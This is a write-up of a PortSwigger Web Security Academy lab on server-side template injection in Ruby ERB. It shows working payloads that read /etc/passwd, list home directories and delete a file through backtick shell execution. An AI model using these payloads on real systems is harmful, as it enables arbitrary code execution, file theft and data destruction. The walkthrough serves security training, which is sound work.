| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Template Injection (ERB) |
| Difficulty | Practitioner |
| Objective | Review the ERB documentation to find out how to execute arbitrary code, then delete morale.txt from Carlos's home directory |
Basic Server-Side Template Injection¶
Entering the lab we find an ecommerce site. Clicking into a product to check stock shows:
Unfortunately this product is out of stock
and the URL is:
web-security-academy.net/?message=Unfortunately this product is out of stock
Messing with the message param:
web-security-academy.net/?message=teto
returns teto directly on the page.
User input is going straight into the response — worth checking if it's also going into the template itself.
Common tags to test for SSTI with code evaluation:
{{ 6*6 }}
<%= ... %>
Trying:
web-security-academy.net/?message={{ 6*6 }}
doesn't return 36. But trying:
web-security-academy.net/?message=<%= 6*6 %>
returns 36 — confirms it's Ruby/ERB.
With ERB confirmed, going straight for PayloadsAllTheThings' file read payload:
<%= File.open('/etc/passwd').read %>
Intercepting with Burp:
/etc/passwd comes back. Listing /home:
<%= Dir.entries('/home') %>
[".", "..", "carlos", "elmer", "install", "peter", "user"]
And /home/carlos:
<%= Dir.entries('/home/carlos') %>
[".", "..", ".bash_logout", ".bashrc", ".profile", "morale.txt", ".bash_history"]
morale.txt is there, which is the file we need to delete. Trying to read it first:
<%= File.open('/home/carlos/morale.txt').read %>
We can't get its content in clear text — but reading it isn't the goal, deleting it is. Using ERB's backtick execution to run a shell command:
<%=(`rm morale.txt`)%>
Trying to read the file again afterward gives:
No such file or directory @
Confirms it's gone and the lab it's solved :P